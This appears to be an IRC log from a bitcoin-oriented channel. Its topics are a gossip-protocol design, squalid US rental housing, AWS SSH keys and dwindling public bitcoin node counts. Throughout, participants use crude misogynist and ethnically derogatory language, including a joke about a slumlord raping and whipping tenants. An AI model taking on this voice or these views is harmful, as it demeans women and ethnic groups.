1467095;1463408656;mircea_popescu;nothing much" 1467096;1463408658;mircea_popescu;then in the relationship u3-u1 whatever G may be A1(G) will be 1467097;1463408660;mircea_popescu;"Hai u2 howru 1467098;1463408662;mircea_popescu;urmom's a ho! 1467099;1463408664;mircea_popescu;lol j/k 1467100;1463408668;mircea_popescu;nothing much" 1467101;1463408670;mircea_popescu;at which point u1 can verify that HE didn't get the A5 or the A9. And he couldn't care less that it's a "network problem" or intentional withholding, much like MPEx doesn't gas what proxies do or don't do on the way. 1467102;1463408673;mircea_popescu;meanwhile u4 has absolutely nfi wtf went down there, u2 may be an asshole or fucking around or w/e. 1467103;1463408707;mircea_popescu;and there's sure as fuck no way for u4 to prove to u* that u2 insulted u1's mom, or didn't. 1467104;1463409803;mircea_popescu;now something like a111 would run on an "observer" node, which is to say with the rule that it doesn't publish/pass lines not reported by the putative author. because those constitute...gossip. 1467105;1463409824;mircea_popescu;and the (otherwise spurious) concept of "a chan" reduces to "a list of specified broadcast recipients". 1467106;1463411011;asciilifeform;lel i went to see another one of those houses 1467107;1463411014;asciilifeform;the sheer filth 1467108;1463411019;asciilifeform;floor to ceiling ! 1467109;1463411065;mircea_popescu;what houses ? 1467110;1463411085;asciilifeform;and entirely unusable, even were it to be cleaned with a flamethrower - as usual, the owner divided up the normal rooms into tiny garrets for students 1467111;1463411095;asciilifeform;mircea_popescu: the kind for rent 1467112;1463411098;mircea_popescu;ah ah 1467113;1463411113;mircea_popescu;you gotta plox take pix and make a blogpost of this once. 1467114;1463411117;mircea_popescu;i really wanna see. 1467115;1463411138;asciilifeform;well i walked into this one with the contents still alive... 1467116;1463411204;mircea_popescu;hey, that's their problem. you're there on business, gotta have the pics to make a call. 1467117;1463411222;mircea_popescu;landlord can't show the house, his job to fix that. if he can show the house, you're taking pix. 1467118;1463411233;asciilifeform;next one i shoot pics of 1467119;1463411240;asciilifeform;what aspect is mircea_popescu interested in ? 1467120;1463411245;mircea_popescu;*thumbsup* 1467121;1463411246;asciilifeform;he's never seen pile of rubbish before ? 1467122;1463411252;mircea_popescu;i want the datapoint for my own lulz. 1467123;1463411259;mircea_popescu;"richest country in teh wreld" 1467124;1463411272;mircea_popescu;you have nfi what pile of people all over think "like in america" is a superlative. 1467125;1463411279;asciilifeform;i dunno of any country where students dun live in own filth 1467126;1463411296;asciilifeform;and it is not even that i need living near students for anything 1467127;1463411298;mircea_popescu;i dunno of any country where the students don't THINK ustardians live like in "friends". 1467128;1463411302;mircea_popescu;which is the point of interest. 1467129;1463411304;asciilifeform;it is just that it is ~impossible to rent a house anywhere else ! 1467130;1463411308;mircea_popescu;~cunt. 1467131;1463411332;mircea_popescu;studends are, at least in most of the world, the people who value their cunt closest to its true value. 1467132;1463411380;asciilifeform;hilariously, when speaking with (now former) colleagues, 'where do you live?' 'in a house' 'but you said you rent...' 'right, i rent a house' 'you mean, a room in a house?' 'no...' 'what, whole floor??' 'no...' 1467133;1463411389;mircea_popescu;lol 1467134;1463411395;asciilifeform;it is apparently a 'martian' thing to do. 1467135;1463411418;mircea_popescu;i dunno, i rented all sorts. 1467136;1463411440;asciilifeform;yeah but yer not a workerbee and dun hang out with same 1467137;1463411446;mircea_popescu;who the fuck BUYS oceanfront property for instance. other than a hedge fund / the miami mahjongg club 1467138;1463411450;asciilifeform;if mircea_popescu said 'i rent a boeing' folks would believe 1467139;1463411457;mircea_popescu;uh... 1467140;1463411463;mircea_popescu;NOBODY owns a boeing today. i'm pretty sure. 1467141;1463411474;mircea_popescu;even fucking GE sold its own fucking machinery to GF to lease it from them 1467142;1463411492;asciilifeform;lower tco 1467143;1463411496;mircea_popescu;exactly. 1467144;1463411500;asciilifeform;(unlike workerbee in house) 1467145;1463411571;mircea_popescu;hm ? renting house is exactly the same, lower cost to carry. 1467146;1463411579;mircea_popescu;we had this in the log in detail. 1467147;1463411605;asciilifeform;in usgschwitz there are massive subsidies to folks who buy the thing 1467148;1463411615;mircea_popescu;subsidios truchos. 1467149;1463411626;mircea_popescu;the derps THINK they're getting subsidies. not so. 1467150;1463411629;asciilifeform;(e.g., whole thing is subtracted from tax) 1467151;1463411634;asciilifeform;the derps are getting raped on interest 1467152;1463411641;asciilifeform;i am speaking of folks buying 1467153;1463411644;asciilifeform;y'know, with MONEY 1467154;1463411670;mircea_popescu;if you have that money, you find a partner and start a real estate corp, and go rent yourself a house. 1467155;1463411672;mircea_popescu;wtf. 1467156;1463411711;mircea_popescu;"women may not hold money" doesn't mean something about women. it means something about money, ie, capital is to be deployed in business not in the household. 1467157;1463411721;asciilifeform;well the interesting bit in this and previous threads is that 'i want to rent a house' is almost 'i want to rent reactor' in usa. 1467158;1463411755;mircea_popescu;the fact that you can't find a decent cofee house at north pole does not signify you should give up the cappuccino habit. 1467159;1463411764;mircea_popescu;it signifies you shouldn't be at the north pole. 1467160;1463412163;danielpbarron;speaking of which I've resolved to stop eating at a local cafe/brunch place because half the time they can't be arsed to use the espresso machine, sometimes claiming that it's 'broken' 1467161;1463412212;danielpbarron;i think i'm the only one that even orders cappuccinos there; everyone else is content to drink the pre-made 'coffee' from those self-serve pump stations 1467162;1463412993;phf;asciilifeform: there are some nice whole house rentals next to walter reed research institute in silver spring. they converted "national park seminary" to condos, can find whole house for 1,6k or so 1467163;1463413020;asciilifeform;i dun like rowhouses. 1467164;1463413027;phf;they have standalones 1467165;1463413044;asciilifeform;it was a great place tho, had spiffy ruins 1467166;1463413055;asciilifeform;i used to work right in that institute. 1467167;1463413074;phf;man, i go there for massage, and it makes me heart ache, all those beautiful ruins, "modernized" 1467168;1463413083;asciilifeform;barbaric, aha 1467169;1463413099;phf;1,6k is for a standalone, i'm sure rowhouses are cheaper. they have a few standalones for sale, dc- "cheap" 600k or so 1467170;1463413108;asciilifeform;lel 1467171;1463413242;phf;i was trying to buy one of the larger buildings to renovate for company's office, they wouldn't sell. i'm sure they can make bank on condos 1467172;1463413701;asciilifeform;just about everywhere i go, i see old buildings being bulldozed to make room for condos, built of matchsticks and cardboard, where ~80% of the units stay vacant for years after the thing opens 1467173;1463413707;asciilifeform;straight bezzle play. 1467174;1463413716;asciilifeform;nobody actually needs to ~live~ in these, for the builder to make bank. 1467175;1463413753;asciilifeform;from the pov of the bezzle artists, empties are just as useful as filled units, they help to prop up price. 1467176;1463413765;asciilifeform;without generating any expense 1467177;1463413774;asciilifeform;(nobody needs to maintain empty thing) 1467178;1463414667;jurov;"Warren Buffett’s Berkshire Hathaway Takes $1 Billion Position in Apple" lol the end is nigh! 1467179;1463415088;asciilifeform;phf: i was intrigued enough to investigate - quotes are more like 2.5k 1467180;1463415296;asciilifeform;jurov: link ? 1467181;1463415310;ben_vulpes;danielpbarron: there's nothing wrong with a well-used airpot in theory, but it does require dumping the remains every ~10 minutes for a fresh pot. yes, this means that low-volume shops cannot serve good coffee from an airpot, but since when has that stopped anyone. 1467182;1463415561;danielpbarron;idk i'm kinda of the opinion that if i'm gonna have coffee at a place, it should be served into a ceramic mug by a waitress and come with free refills 1467183;1463416546;ben_vulpes;kinda orthogonal 1467184;1463416557;ben_vulpes;most places with waitresses, ceramic mugs and delivery use an air pot anyways 1467185;1463416579;ben_vulpes;that is *never* refreshed, only more swill poured atop 1467186;1463417254;jurov;asciilifeform: paywalled http://www.wsj.com/articles/buffetts-berkshire-takes-1-billion-position-in-apple-1463400389 1467187;1463417319;jurov;http://money.cnn.com/2016/05/16/investing/warren-buffett-berkshire-hathaway-apple/index.html lol and they are interested in yahoo, too? 1467188;1463417521;asciilifeform;soooo usg finally made the old man 'offer he couldn't refuse'. 1467189;1463418741;phf;asciilifeform: hmm, 1,6 quote is from my massage therapist, who's got two places for rent in that block 1467190;1463418823;phf;generally i suspect you'll have better luck with renting from owners, rather than mgmt companies, since later can allow for dead souls 1467191;1463419278;asciilifeform;phf: yeah, the former is what i do now 1467192;1463420065;mircea_popescu;asciilifeform> straight bezzle play. << the world over, this. 1467193;1463420165;mircea_popescu;ben_vulpes yes, this means that low-volume shops cannot serve good coffee from an airpot <<< girl had one of those filter drip things all her life. the unit she had broke, over weekend, and i taught girl to make turkish boiled coffee. then today "did you want to replace your drip thing ?" "umm... nah". 1467194;1463420172;asciilifeform;mircea_popescu: so 'north pole' is ~everywhere. 1467195;1463420240;mircea_popescu;jurov holy shit, yahoo, the mother of all worthless "internet companies". at least activesoft has or maybe had some competent garbagemongers. 1467196;1463420282;mircea_popescu;i subscribe to "the end is nigh" theory, the usg dept of berkshire convened the rich kids for a visit over with obama and they all agreed to donate moar money to the nazi party. 1467197;1463420310;mircea_popescu;asciilifeform do you recall that ridiculous piece ? somehow nobody noticed it. 1467198;1463420319;asciilifeform;i do 1467199;1463420370;asciilifeform;they have these regularly tho 1467200;1463420381;mircea_popescu;didn't exist during bush 1467201;1463420419;asciilifeform;buf was prolly told, one way or another, 'you will invest. if you do, we will print 2x and you can have that, so long as you don't buy turkeys. if you do not, there will be problems' etc. 1467202;1463420438;mircea_popescu;well, either that or the fsf. 1467203;1463420446;mircea_popescu;he's old and rather senile by now. 1467204;1463420453;mircea_popescu;so how did the quote go... 1467205;1463420505;asciilifeform;yah quite likely the dealings were with his bob beck. 1467206;1463420512;mircea_popescu;something about the old chap being too "out of touch" for "day to day" decisionmaking 1467207;1463420526;asciilifeform;that was re: rms's bobbeck iirc. 1467208;1463420540;mircea_popescu;yes what i meant. berkshire got fsf'd. 1467209;1463420550;asciilifeform;likely - long ago. 1467210;1463420561;mircea_popescu;and incidentally bobbeck sounds like exactly the right word for it. 1467211;1463420604;asciilifeform;aha, pronounced бобик 1467212;1463420607;asciilifeform;(approx - street dog) 1467213;1463420607;mircea_popescu;to bobbeck, to attach a subservient aparatchick to the sort of entreprise lords might have either heard of or outright respect, so as to puppet it along the nazi cause. 1467214;1463420611;ben_vulpes;unrelatedly, amazon has buried the ingestion point for ssh pubkeys in a truly obscure corner of their systems 1467215;1463420702;mircea_popescu;ben_vulpes what do they normally use ? 1467216;1463420752;ben_vulpes;rsa if i understand your question 1467217;1463420770;ben_vulpes;they want to /give you the keypair/ 1467218;1463420771;mircea_popescu;no i mean, other than ssh keys 1467219;1463420775;mircea_popescu;eh. 1467220;1463420787;mircea_popescu;oh i c. bwahahaha. makes sense dunnit. 1467221;1463420816;asciilifeform;ben_vulpes: can't see how aws could be made worse than it is by ~them giving you keypair~ 1467222;1463420827;asciilifeform;it isn't like you aren't sitting in vm kolhoz already. 1467223;1463420846;ben_vulpes;i seek to entertain, what 1467224;1463420847;mircea_popescu;asciilifeform if they give you keypair they can sign imaginary connection sessions from you. if not, not. 1467225;1463420855;asciilifeform;mircea_popescu: still can 1467226;1463420866;asciilifeform;if you park private key in kolhoz 1467227;1463420871;asciilifeform;regardless of who generated it 1467228;1463420878;mircea_popescu;you park pubkey. 1467229;1463420884;ben_vulpes;it's trivially swapped out once in the machine 1467230;1463420894;asciilifeform;mircea_popescu: not how ssh worx 1467231;1463420900;asciilifeform;server has own private. 1467232;1463420905;mircea_popescu;how not ? i put my pubkey in server. 1467233;1463420913;mircea_popescu;well yes, with which it signs ITS stuff. 1467234;1463420938;asciilifeform;what does having your pub in the box do ? 1467235;1463420970;mircea_popescu;that if i don't say "obama is a whore's dog" over ssh, aws can't produce a correctly signed token for "mp said obama is a whore's dog" over ssh. 1467236;1463421017;davout;http://btcbase.org/log/2016-05-16#1467146 <<< link? for a friend 1467237;1463421017;a111;Logged on 2016-05-16 15:12 mircea_popescu: we had this in the log in detail. 1467238;1463421076;asciilifeform;mircea_popescu: the keys are only used in the authentication. so what gets said afterwards is 'promise', not 'protocol' 1467239;1463421089;asciilifeform;in fact the ssh pile of shit is every bit as malodorous as ssl. 1467240;1463421098;asciilifeform;re mouseholes. 1467241;1463421237;mircea_popescu;davout http://btcbase.org/log/2015-12-07#1338673 1467242;1463421237;a111;Logged on 2015-12-07 23:34 mircea_popescu: and if you want actual numbers, i just got a coupla girlies an apt. the sale value would have been i guess 160-170k or so. the monthly rent is 750. the first month, the washing machine went, and the owner replaced it. the next month, ac went (brother was that an incredible pos job wow), owner replaced it. so far owner's been making 0 from his property. 1467243;1463421276;mircea_popescu;there's also a large one discussing with some guy his idea of bootstrapping on a shoestring a landlord governing body, because he's a 20yo brogrammer and that's how governance works in his mind. 1467244;1463421314;asciilifeform;mircea_popescu: the 'rentalstarter' thing ? 1467245;1463421326;mircea_popescu;something 1467246;1463421335;mircea_popescu;lessee 1467247;1463421363;mircea_popescu;http://btcbase.org/log/2015-10-18#1301731 1467248;1463421363;a111;Logged on 2015-10-18 14:25 mircea_popescu: so let me get this straight, you want to give people too poor to litigate, too stupid / desocialized to talk to the landlord and too scared to act the option "you can either pay 100 to the landlord as deposit or 300 to me and unlike the landlord I PROMISE to give it back (maybe), except im not anywhere near you and you can't burn my house down" ? 1467249;1463421425;mircea_popescu;whole day was ~dedicated to hashing out that steaming pile of 20yo lulzideas. 1467250;1463421482;asciilifeform;re slumlords, i am still reeling from what i saw today 1467251;1463421497;mircea_popescu;they should whip them. 1467252;1463421506;mircea_popescu;seriously, wtf slum lord is that, doesn't rape the girls and whip the boys ?! 1467253;1463421508;asciilifeform;washed, and still feel dirty from having gone in that reactor zone for 10 min. 1467254;1463421509;mircea_popescu;losers. 1467255;1463421512;asciilifeform;no gurlz there. 1467256;1463421524;asciilifeform;they typically live in the nicer places 1467257;1463421530;asciilifeform;(tower flats) 1467258;1463421574;asciilifeform;and besides, what does a 80 y.o. ru bloke (landlord) need to whip for ? 1467259;1463421584;asciilifeform;all he wants is bags of dough, to pay for his titanium hearts or whatnot 1467260;1463421606;davout;mircea_popescu: tyvm 1467261;1463421645;mircea_popescu;myeah. "longer life expectancy" turns out to be a horrible idea. 1467262;1463421668;asciilifeform;i will add one detail that mircea_popescu may find interesting. amidst the piles of rubbish from floor to ceiling, the black mold in the single solitary toilet, carpet of stinking laundry, etc. there was a, i shit thee not, ~2metre tv in every room. 1467263;1463421686;mircea_popescu;wait, how many people ? 1467264;1463421705;asciilifeform;4 paying customers, iirc. 1467265;1463421715;mircea_popescu;one bathroom for 4 people !? 1467266;1463421717;asciilifeform;aha 1467267;1463421732;asciilifeform;most of'em were in bed, had to be rousted 1467268;1463421765;asciilifeform;i say 'paying' because it is quite rare for such a house to have only the paying ones 1467269;1463421772;asciilifeform;usually there are phriends/fucktoys/family/etc 1467270;1463421829;asciilifeform;understand, also, what kind of structure it was 1467271;1463421840;asciilifeform;these are classical usaschwitz houses with hollow wooden walls. 1467272;1463421850;asciilifeform;such cavities, of course, cannot be cleaned. 1467273;1463421867;asciilifeform;the mold in the toilet is there to stay, until the place is bulldozed. 1467274;1463421879;asciilifeform;the kitchen will always have its unique smell. 1467275;1463421881;asciilifeform;etc 1467276;1463422032;asciilifeform;mircea_popescu: incidentally, i only rarely visit such places, because - while i can outbid 4 or 5 of the wretches - i cannot outbid 10, and that is closer to the typical number 1467277;1463422149;mircea_popescu;asciilifeform one place i rented here contained ~6 local derps at the time ; now inhabited by two. 1467278;1463422159;mircea_popescu;apparently worldwide phenomena. 1467279;1463422296;asciilifeform;mircea_popescu: yeah but since they were not american boiz you prolly didnt have to irradiate the place to sterilize after 1467280;1463422299;mircea_popescu;asciilifeform> the mold in the toilet is there to stay, until the place is bulldozed. << nah, copper sulphate will wipe it. 1467281;1463422307;asciilifeform;from inside wall?! 1467282;1463422328;asciilifeform;recall, they also all have forced air ducts 1467283;1463422338;asciilifeform;(nothing else has been built since '40s) 1467284;1463422439;mircea_popescu;even that, yes. this is a whole profession, buying property managed into the dirt by idiots and making it shine. pays pretty well, too, most hands-on types end up doing that. 1467285;1463422450;mircea_popescu;but, as with all things, nobody's going to bother putting in the effort for a shitty apt. 1467286;1463422456;asciilifeform;naturally. 1467287;1463422463;mircea_popescu;too many detached family houses on two levels waiting for the treatment. 1467288;1463422492;asciilifeform;that incidentally was the type of structure i was looking at 1467289;1463422519;asciilifeform;but nobody does it for rentals that will be promptly shat in again by the usual clientele. 1467290;1463422532;mircea_popescu;there's stories in the us proletcult folklore about the regime deciding to socially integrate gypsies, ending up with indoor fireplace fed from what used to be the parquet... 1467291;1463422534;asciilifeform;it is sometimes done when converting to 'civilian use' 1467292;1463422558;asciilifeform;mircea_popescu: stories of this in ru also. 1467293;1463422560;mircea_popescu;apparently this is a permanent item, usg-born orcs forcibly integrated by usg, revert to the tribal arrangements that are adequate to their needs and capacities. 1467294;1463422605;mircea_popescu;asciilifeform> but nobody does it for rentals that will be promptly shat in again by the usual clientele << rent control ruins real estate huh. 1467295;1463422609;asciilifeform;another detail, since i lack photo, of what makes these dwellings stomach-churning, is the american custom of 'wall to wall carpet' 1467296;1463422612;asciilifeform;it is glued to the floor 1467297;1463422620;mircea_popescu;oh that's insufferable. 1467298;1463422628;asciilifeform;~uncleanable 1467299;1463422689;asciilifeform;i was very lucky, 2y ago, to find a place with an actual wooden floor. 1467300;1463422709;asciilifeform;it is a rarity. 1467301;1463422711;mircea_popescu;actually most of the stuff ustartds do these days is insufferable. used to be that if you wanted proper floor spacing and decent sized fridges you had to go to the us. which is how people ended up in california. 1467302;1463422735;mircea_popescu;but these days... wtf is with the paper walls, and the attendant fire sprinklers and fire drills and whatnot ? you couldn't pay me to live in a place with firesprinklers. 1467303;1463422757;asciilifeform;i dun think i have ever lived in a place with fire sprinklers 1467304;1463422766;asciilifeform;possibly uni dormitory had some 1467305;1463422865;mircea_popescu;also wtf is with the lulzvoltage ; and with the poorly provisioned water and often inexitent gas pipes. etc. 1467306;1463422879;mircea_popescu;seriously, "water saving shower" ?! because why, i'm in palenque ? 1467307;1463422883;asciilifeform;we did the lulzvoltage thread 1467308;1463422894;mircea_popescu;just saying, by now they're doing EVERYTHING wrong. 1467309;1463422898;asciilifeform;and the crippling of the shower is done in the head, not the house pipe 1467310;1463422906;mircea_popescu;bad lightbulbs ; bad flooring, bad carpeting bad walls bad you name it. 1467311;1463422909;asciilifeform;trivially circumvented by screwing in your own 1467312;1463422926;mircea_popescu;electric stoves are ok ; but they better be gas-stove standard, not a lulzy teapot warmer + microwave. 1467313;1463422934;asciilifeform;(you couldn't pay me to use a standard american shower head, the kind with no hose) 1467314;1463422949;mircea_popescu;asciilifeform and no bidets. 1467315;1463422958;asciilifeform;mircea_popescu: these are ~unknown in english world 1467316;1463422973;mircea_popescu;the insanity of having fixed-above-head showerhead and no bidets makes me fucking wonder how exactly do ustards eat cunt. 1467317;1463422980;asciilifeform;i was reading a treatise re indoor fixtures, by british fella, circa 1960, and he described how bidet was installed in a few london hotels at one tim 1467318;1463422981;asciilifeform;e 1467319;1463422984;asciilifeform;(early 1900s) 1467320;1463422986;mircea_popescu;gotta give the gurlz SOME WAY to wash ffs. 1467321;1463422987;asciilifeform;and promptly ripped out 1467322;1463422992;asciilifeform;after 'outrage, scandal' 1467323;1463423171;asciilifeform;mircea_popescu: i have genuinely nfi how - and whether - these people wash. 1467324;1463423215;mircea_popescu;let's talk of something else. the richest korea makes my stomach turn. 1467325;1463423301;asciilifeform;http://btcbase.org/log/2016-05-16#1467105 << phf modelled this (as did i) - it is trickier than it sounds 1467326;1463423301;a111;Logged on 2016-05-16 14:43 mircea_popescu: and the (otherwise spurious) concept of "a chan" reduces to "a list of specified broadcast recipients". 1467327;1463423307;asciilifeform;somewhere there was a thread... 1467328;1463423346;asciilifeform;summary: it takes active work to avoid a situation where you are continuously bombarded with fragments of conversations 1467329;1463423378;asciilifeform;sorta like usenet in its twilight days 1467330;1463426036;mircea_popescu;myeah. 1467331;1463426051;mircea_popescu;that work = your wot, eh ? 1467332;1463426081;mircea_popescu;gossip irl works exactly the same way, if you just talk to the woman your parents picked and your cousins, it's suicideware. 1467333;1463426109;mircea_popescu;if however you pick the whores you entertain carefully, it's empowering to a degree uknown by nazi derps. 1467334;1463426132;mircea_popescu;in fact, their derpy "secret services" universally aspire (and universally fail) to be exactly this. 1467335;1463426224;asciilifeform;yeah but there is a sharp edge: 1467336;1463426234;asciilifeform;let's express in proper mathematical pieces, 1467337;1463426238;phf;how do you deal with situation of in-wot A talking to out-wot B? 1467338;1463426244;asciilifeform;if your wot is not a ~clique~, yer hosed. 1467339;1463426282;asciilifeform;i have killed a great deal of paper working on a clean solution to this. 1467340;1463426408;asciilifeform;phf: in the algo proposed by mircea_popescu, you will hear the tx side (A sends to me,x,y,z,..,B) but not the replies (B sends to A,...his wot...,) 1467341;1463426439;asciilifeform;exactly like a usenet group in 1995 where you have a good chunk of the participants killfiled 1467342;1463426803;mircea_popescu;phf there's no such thing. 1467343;1463426849;mircea_popescu;asciilifeform no. you can not possibly hear the talk to and from outsiders. you just discard all that. 1467344;1463426855;asciilifeform;mircea_popescu: the only way there can 'be no such thing' is if your wot is a clique. 1467345;1463426874;mircea_popescu;no, just, you filter it out. if you want to hear what your friend A says to B, must make B your friend. 1467346;1463426882;asciilifeform;mircea_popescu: you certainly ~do~ hear message that is to you,x,y,z,hitler unless specced otherwise 1467347;1463426903;mircea_popescu;obviously, nothing prevents you from running firehose mode. but , just like wireshark makes no guarantee as to the literary or poetic merits of random wire captures, 1467348;1463426905;mircea_popescu;this also. 1467349;1463426925;mircea_popescu;asciilifeform there is no such thing as "to X Y", gossipd being a pairwise protocol. 1467350;1463426943;asciilifeform;precisely 1467351;1463426952;asciilifeform;but consider this thread 1467352;1463426962;mircea_popescu;so if you want to say "hi" to 5 people, you say hi 5 times to one at a time. 1467353;1463426975;mircea_popescu;what about this thread am i considering ? 1467354;1463426975;asciilifeform;when i say ' but consider this thread' it is not specified protocolically to ~whom~ i said it 1467355;1463426988;mircea_popescu;but it is. 1467356;1463427004;asciilifeform;how? 1467357;1463427011;mircea_popescu;if you say it in #trilema which is an alias for (me you and phf) then you said it 3x : once to each 1467358;1463427019;mircea_popescu;if you said it in pm to me... then you say it once, to me. 1467359;1463427062;mircea_popescu;and if i'm also friends with phf, phf will report to me having heard you say "hi". 1467360;1463427132;mircea_popescu;but if i'm not, i'll never know. the situation where i'm friends to you, and you say hi to me in a channel of 10`000 people i don't know ; and the situation where i'm friends with you and you say hi to me in a pm are identical. 1467361;1463427166;mircea_popescu;and it's how things work irl, also. that they don't work that way online is because online is fucktarded beyond conception. 1467362;1463427375;asciilifeform;mircea_popescu: where on planet gossipd do we find equivalent of ' mircea_popescu and asciilifeform in a channel of 10,000 people they don't know ' 1467363;1463427377;asciilifeform;? 1467364;1463427398;mircea_popescu;girl calls you on the phone. who's there with her ? 1467365;1463427405;mircea_popescu;ex bf ? mother ? hitler ? do you care ? 1467366;1463427429;asciilifeform;in this case could be 10 hitlers, but we aren't tuning them in 1467367;1463427442;asciilifeform;so answer is 'just gurl' 1467368;1463427442;mircea_popescu;group of girlies walking down the street, you see one you like, and talk to her. the other idiots you don't care about giggle or w/e. so ? 1467369;1463427475;mircea_popescu;i'm just saying, the way communication works irl is precisely like contemplated gossipd scheme, and exactly NOT like bbs/irc/webetc. 1467370;1463427491;mircea_popescu;those are modelled after stuff like academic communication ; which pointedly is not speech 1467371;1463427524;mircea_popescu;(except englishtards, being idiots as awlays, use "speech" to denote precisely not-speech, ie writ. precisely because they used writ for some legalese arcana five century prior. but we digress.) 1467372;1463427617;mircea_popescu;(but since we digressed - and this ineptitude leads them into all sorts of lulz. for instance, SPEECH was protected by constitution. as in, the activity of gossipd. not WRIT, such as an imaginary right to publish slander. etc.) 1467373;1463428108;mircea_popescu;asciilifeform not making any sense ? 1467374;1463428157;asciilifeform;it does. 1467375;1463428185;mircea_popescu;aok 1467376;1463429085;mircea_popescu;and in other news, http://67.media.tumblr.com/2cfe374f716d192499c74962ce6516a7/tumblr_n8k6j7jjMO1richhno1_1280.jpg 1467377;1463429479;BingoBoingo; 1,6k is for a standalone, i'm sure rowhouses are cheaper. they have a few standalones for sale, dc- "cheap" 600k or so << lol, divide by 3 or 4 for cheap here 1467378;1463429492;deedbot;[Qntra] Countable ClassicCoin Nodes Dropping - http://qntra.net/2016/05/countable-classiccoin-nodes-dropping/ 1467379;1463430222;asciilifeform;BingoBoingo: the tax-declared value of the thing i am sitting in presently is ~250k 1467380;1463430236;asciilifeform;so 'divide by...' also here. 1467381;1463430245;BingoBoingo;lol, divide by 5 or 6 here 1467382;1463430335;asciilifeform;http://btcbase.org/log/2016-05-16#1467378 << i must point out that, at least on same nazi site, the count of trb nodez is also record low - 5 1467383;1463430335;a111;Logged on 2016-05-16 20:11 deedbot: [Qntra] Countable ClassicCoin Nodes Dropping - http://qntra.net/2016/05/countable-classiccoin-nodes-dropping/ 1467384;1463430370;asciilifeform;and i recognize precisely 2 on this list which do not daily flicker in and out 1467385;1463430373;asciilifeform;and they are both mine. 1467386;1463430396;asciilifeform;and one of these 5 is even a shitazon node 1467387;1463430402;asciilifeform;which does not get to peer with mine. 1467388;1463430411;asciilifeform;what gives, folks 1467389;1463430416;asciilifeform;is it so hard to stand up a node ??? 1467390;1463430769;BingoBoingo;More a challenge to get 21.c0 to count it 1467391;1463431051;asciilifeform;they count mine, wut 1467392;1463431127;BingoBoingo;For some reason the won't count mine 1467393;1463431138;asciilifeform;whats yer uptime 1467394;1463431139;BingoBoingo;And I dun care to fix it. 1467395;1463431165;BingoBoingo;About 36 hours now, previously a couple months. 1467396;1463431183;ben_vulpes;what is this website that counts nodes 1467397;1463431509;asciilifeform;ben_vulpes: https://bitnodes.21.co/nodes/?q=/therealbitcoin.org:0.9.99.99 1467398;1463431540;ben_vulpes;i'm supposed to give a shit about 21.co? 1467399;1463431546;asciilifeform;nope 1467400;1463431554;asciilifeform;there isn't another afaik, tho. 1467401;1463431584;ben_vulpes;haven't we had this thread before, of that the network is not paricularly enumerable, and with the malleability of version strings that counting them is somewhat less than pointless? 1467402;1463431590;asciilifeform;the thing appears to honestly count nodes so long as they advertise >= 0.8. 1467403;1463431736;trinque;deedbot.org isn't on there, was 1467404;1463431741;trinque;and it's up 1467405;1463431829;trinque;though as I check its log, there is a great deal of "socket no message in first 60 seconds" 1467406;1463431875;trinque;it is however keeping up with the blockchain, so perhaps I've got say... a curated connection to the network :p 1467407;1463432206;trinque;or perhaps their scanner issues heathen commands 1467408;1463432560;asciilifeform;trinque: quite a bit of blackhole on my nodez, since more or less the beginning 1467409;1463432580;asciilifeform;21's thing does not issue heathen commands 1467410;1463432589;asciilifeform;or my nodes (which drop all heathens) would not register. 1467411;1463432812;asciilifeform;http://btcbase.org/log/2016-05-16#1467401 << it is rather like saying that it is pointless to ask 'are you a girl', because folks might lie 1467412;1463432812;a111;Logged on 2016-05-16 20:46 ben_vulpes: haven't we had this thread before, of that the network is not paricularly enumerable, and with the malleability of version strings that counting them is somewhat less than pointless? 1467413;1463432909;asciilifeform;as for whether the network is enumerable, the ~public~ subset - the kind of node which answers to all-comers, e.g., my nodez - certainly are. 1467414;1463432935;asciilifeform;the quasi-mythical 'seeeekrit evidence' nodes which connect directly to mines, etc. - not. 1467415;1463433665;mircea_popescu;asciilifeform lol trb nodes still oom. darn. 1467416;1463433702;asciilifeform;mircea_popescu: in theory 1467417;1463433742;asciilifeform;(i worked out hard bounds, long ago, see l0gz) 1467418;1463433791;asciilifeform;(in practice, trb node on a decent box like dulap can run for a very long time - years - without reset) 1467419;1463433802;ben_vulpes;dun think mine ooms terrifically often. not in my personal memory at least. 1467420;1463433892;mircea_popescu;asciilifeform funny, of the 5, two are kind-of behind also 1467421;1463433942;asciilifeform;mircea_popescu: most of the time there is 1-2 cable modem things in there aha 1467422;1463433972;mircea_popescu;well, i have no idea why my nodes are offline. i also have not the time/patience to check up on them daily like they were carrying my child or some shit. 1467423;1463434012;asciilifeform;mircea_popescu: typically when i run a serious box i have a dedicated display for its health stat 1467424;1463434016;mircea_popescu;from one of the afflicted systems 1467425;1463434018;mircea_popescu;├─screen─┬─2*[bash───su───bash───bitcoind] 1467426;1463434018;mircea_popescu;├─bash───pstree 1467427;1463434018;mircea_popescu;└─bash───su───bash───bitcoind───5*[{bitcoind}] 1467428;1463434027;mircea_popescu;so i'm guessing the restarter failed in some speshul manner. 1467429;1463434038;asciilifeform;we dun have a restarter 1467430;1463434043;mircea_popescu;"we". 1467431;1463434054;asciilifeform;well my item didn't 1467432;1463434058;asciilifeform;i have nfi what mircea_popescu wrote. 1467433;1463434076;asciilifeform;maybe his nodes need new plutonium 1467434;1463434081;mircea_popescu;apparently. 1467435;1463434124;mircea_popescu;o ffs. neither the 216. nor the 173. that this node's startline wants it to addnode actually exist in that list. 1467436;1463434131;mircea_popescu;no fucken wonder. 1467437;1463434149;mircea_popescu;so what's the officialdom now, 46.166 54.187 an' what, 72.83 ? 1467438;1463434149;asciilifeform;the former is old dulap iirc 1467439;1463434160;asciilifeform;the latter - old mpb node spoken of last year 1467440;1463434173;asciilifeform;well i personally answer for 1467441;1463434201;asciilifeform;dulap (nosuchlabs.com, but recall we have no dns, it is 46.166.165.30 for trb purposes) 1467442;1463434206;asciilifeform;and zoolag 1467443;1463434214;asciilifeform;72.83.9.196 1467444;1463435084;mircea_popescu;incidentally, whatever site is only going to know about those nodes that even talk to it. 1467445;1463435109;asciilifeform;noshit.jpg 1467446;1463435139;asciilifeform;hence http://btcbase.org/log/2016-05-16#1467414 1467447;1463435139;a111;Logged on 2016-05-16 21:08 asciilifeform: the quasi-mythical 'seeeekrit evidence' nodes which connect directly to mines, etc. - not. 1467448;1463435734;mircea_popescu;aite, im bringing a coupla more online / in the open. 1467449;1463435814;asciilifeform;neato! 1467450;1463435939;*;mircea_popescu waves at trinque 's 1467451;1463435947;trinque;yo! 1467452;1463435965;mircea_popescu;see alf, tmsr is a complaint-driven entity. bitch and thou shalt receive 1467453;1463435970;mircea_popescu;now go forth, and use this power for good. 1467454;1463445757;mircea_popescu;$up RBLrbl 1467455;1463445773;deedbot;RBLrbl voiced for 30 